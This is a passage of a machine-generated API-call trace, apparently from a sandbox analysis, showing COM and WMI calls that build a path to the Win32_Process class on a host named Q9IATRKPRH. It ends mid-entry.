CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0148.964] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0148.964] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfa60, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0148.964] WbemDefPath:IUnknown:Release (This=0x1bbbfa60) returned 0x2 [0148.964] WbemDefPath:IUnknown:Release (This=0x1bbbfa60) returned 0x1 [0148.964] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0148.964] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0148.964] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfa60, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bbbfa60) returned 0x0 [0148.965] WbemDefPath:IUnknown:AddRef (This=0x1bbbfa60) returned 0x3 [0148.965] WbemDefPath:IUnknown:Release (This=0x1bbbfa60) returned 0x2 [0148.965] WbemDefPath:IWbemPath:SetText (This=0x1bbbfa60, uMode=0x4, pszPath="") returned 0x0 [0148.965] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0148.965] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0148.965] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0148.965] IUnknown:Release (This=0x1a943398) returned 0x1 [0148.967] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bcc3760) returned 0x0 [0148.967] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc3760, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0148.967] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc3760, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bbbf9a0) returned 0x0 [0148.967] WbemDefPath:IUnknown:Release (This=0x1bcc3760) returned 0x0 [0148.967] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf9a0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bbbf9a0) returned 0x0 [0148.967] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf9a0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0148.968] WbemDefPath:IUnknown:AddRef (This=0x1bbbf9a0) returned 0x3 [0148.968] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf9a0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0148.968] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf9a0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0148.968] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf9a0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc8a550) returned 0x0 [0148.968] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc8a550, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0148.968] WbemDefPath:IUnknown:Release (This=0x1bc8a550) returned 0x3 [0148.968] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0148.968] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0148.968] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf9a0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0148.968] WbemDefPath:IUnknown:Release (This=0x1bbbf9a0) returned 0x2 [0148.968] WbemDefPath:IUnknown:Release (This=0x1bbbf9a0) returned 0x1 [0148.968] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0148.968] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0148.968] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf9a0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bbbf9a0) returned 0x0 [0148.968] WbemDefPath:IUnknown:AddRef (This=0x1bbbf9a0) returned 0x3 [0148.968] WbemDefPath:IUnknown:Release (This=0x1bbbf9a0) returned 0x2 [0148.968] WbemDefPath:IWbemPath:SetText (This=0x1bbbf9a0, uMode=0x4, pszPath="") returned 0x0 [0148.968] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbf9a0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0148.968] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbfa60, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0148.969] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bbbf9a0, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0148.969] WbemDefPath:IWbemPath:GetServer (in: This=0x1bbbf9a0, puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0) returned 0x80041009 [0148.969] WbemDefPath:IWbemPath:SetServer (This=0x1bbbf9a0, Name="Q9IATRKPRH") returned 0x0 [0148.969] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0148.969] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0148.969] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0148.969] IUnknown:Release (This=0x1a943398) returned 0x1 [0148.972] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc8a570) returned 0x0 [0148.972] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc8a570, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0148.972] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc8a570, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bbbf8e0) returned 0x0 [0148.972] WbemDefPath:IUnknown:Release (This=0x1bc8a570) returned 0x0 [0148.972] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf8e0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bbbf8e0) returned 0x0 [0148.972] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf8e0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0148.973] WbemDefPath:IUnknown:AddRef (This=0x1bbbf8e0) returned 0x3 [0148.973] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf8e0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0148.973] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf8e0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0148.973] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf8e0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc8a470) returned 0x0 [0148.973] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc8a470, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0148.973] WbemDefPath:IUnknown:Release (This=0x1bc8a470) returned 0x3 [0148.973] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0148.973] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0148.973] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf8e0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0148.973] WbemDefPath:IUnknown:Release (This=0x1bbbf8e0) returned 0x2 [0148.973] WbemDefPath:IUnknown:Release (This=0x1bbbf8e0) returned 0x1 [0148.973] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0148.973] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0148.973] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf8e0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bbbf8e0) returned 0x0 [0148.973] WbemDefPath:IUnknown:AddRef (This=0x1bbbf8e0) returned 0x3 [0148.973] WbemDefPath:IUnknown:Release (This=0x1bbbf8e0) returned 0x2 [0148.973] WbemDefPath:IWbemPath:SetText (This=0x1bbbf8e0, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0148.973] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbf9a0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0148.973] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbf8e0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0148.973] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf8e0, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0148.973] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf8e0, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0148.974] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bbbf9a0) returned 0x0 [0148.974] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbf8e0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0148.974] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bbbf8e0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0148.974] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bbbf8e0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="ROOT") returned 0x0 [0148.974] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bbbf9a0, uIndex=0x0, pszName="ROOT") returned 0x0 [0148.974] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bbbf8e0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0148.974] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bbbf8e0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="CIMV2") returned 0x0 [0148.974] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bbbf9a0, uIndex=0x1, pszName="CIMV2") returned 0x0 [0148.974] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bbbf9a0, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0148.974] WbemDefPath:IWbemPath:SetClassName (This=0x1bbbf9a0, Name="Win32_Process") returned 0x0 [0148.974] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bbbf9a0, uRequestedInfo=0x0, puResponse=0x1bb7e6b8 | out: puResponse=0x1bb7e6b8*=0x20c16) returned 0x0 [0148.974] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbf9a0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0148.974] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf9a0, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x26, pszText=0x0) returned 0x0 [0148.974] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf9a0, lFlags=4, puBuffLength=0x1bb7e608*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0148.974] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bbbf9a0, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0x20c16) returned 0x0 [0148.974] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbf9a0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0148.974] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf9a0, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x18, pszText=0x0) returned 0x0 [0148.974] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf9a0, lFlags=8, puBuffLength=0x1bb7e608*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0148.974] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbfbe0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0148.974] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbfbe0, lFlags=16, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xb, pszText=0x0) returned 0x0 [0148.975] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbfbe0, lFlags=16, puBuffLength=0x1bb7e608*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e608*=0xb, pszText="root\\cimv2") returned 0x0 [0148.975] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf9a0, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0148.975] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf9a0, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0148.975] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e568 | out: ppv=0x1bb7e568*=0x1a943398) returned 0x0 [0148.975] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e558 | out: pAptType=0x1bb7e558*=1) returned 0x0 [0148.975] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e560 | out: ppvObject=0x1bb7e560*=0x0) returned 0x80004002 [0148.975] IUnknown:Release (This=0x1a943398) returned 0x1 [0148.977] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d980 | out: ppv=0x1bb7d980*=0x1bc8a330) returned 0x0 [0148.977] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc8a330, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x0) returned 0x80004002 [0148.977] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc8a330, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d978 | out: ppvObject=0x1bb7d978*=0x1bbbf760) returned 0x0 [0148.977] WbemDefPath:IUnknown:Release (This=0x1bc8a330) returned 0x0 [0148.977] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf760, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d788 | out: ppvObject=0x1bb7d788*=0x1bbbf760) returned 0x0 [0148.977] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf760, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d830 | out: ppvObject=0x1bb7d830*=0x0) returned 0x80004002 [0148.978] WbemDefPath:IUnknown:AddRef (This=0x1bbbf760) returned 0x3 [0148.978] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf760, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ced8 | out: ppvObject=0x1bb7ced8*=0x0) returned 0x80004002 [0148.978] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf760, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce60 | out: ppvObject=0x1bb7ce60*=0x0) returned 0x80004002 [0148.978] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf760, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce50 | out: ppvObject=0x1bb7ce50*=0x1bc8a370) returned 0x0 [0148.978] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc8a370, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce78 | out: pCid=0x1bb7ce78*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0148.978] WbemDefPath:IUnknown:Release (This=0x1bc8a370) returned 0x3 [0148.978] CoGetContextToken (in: pToken=0x1bb7cf00 | out: pToken=0x1bb7cf00) returned 0x0 [0148.978] CoGetContextToken (in: pToken=0x1bb7d380 | out: pToken=0x1bb7d380) returned 0x0 [0148.978] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf760, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d440 | out: ppvObject=0x1bb7d440*=0x0) returned 0x80004002 [0148.978] WbemDefPath:IUnknown:Release (This=0x1bbbf760) returned 0x2 [0148.978] WbemDefPath:IUnknown:Release (This=0x1bbbf760) returned 0x1 [0148.978] CoGetContextToken (in: pToken=0x1bb7e1a0 | out: pToken=0x1bb7e1a0) returned 0x0 [0148.978] CoGetContextToken (in: pToken=0x1bb7e0a0 | out: pToken=0x1bb7e0a0) returned 0x0 [0148.978] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf760, riid=0x1bb7e200*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1d0 | out: ppvObject=0x1bb7e1d0*=0x1bbbf760) returned 0x0 [0148.978] WbemDefPath:IUnknown:AddRef (This=0x1bbbf760) returned 0x3 [0148.978] WbemDefPath:IUnknown:Release (This=0x1bbbf760) returned 0x2 [0148.978] WbemDefPath:IWbemPath:SetText (This=0x1bbbf760, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0148.978] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbfbe0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0148.978] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbfbe0, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: 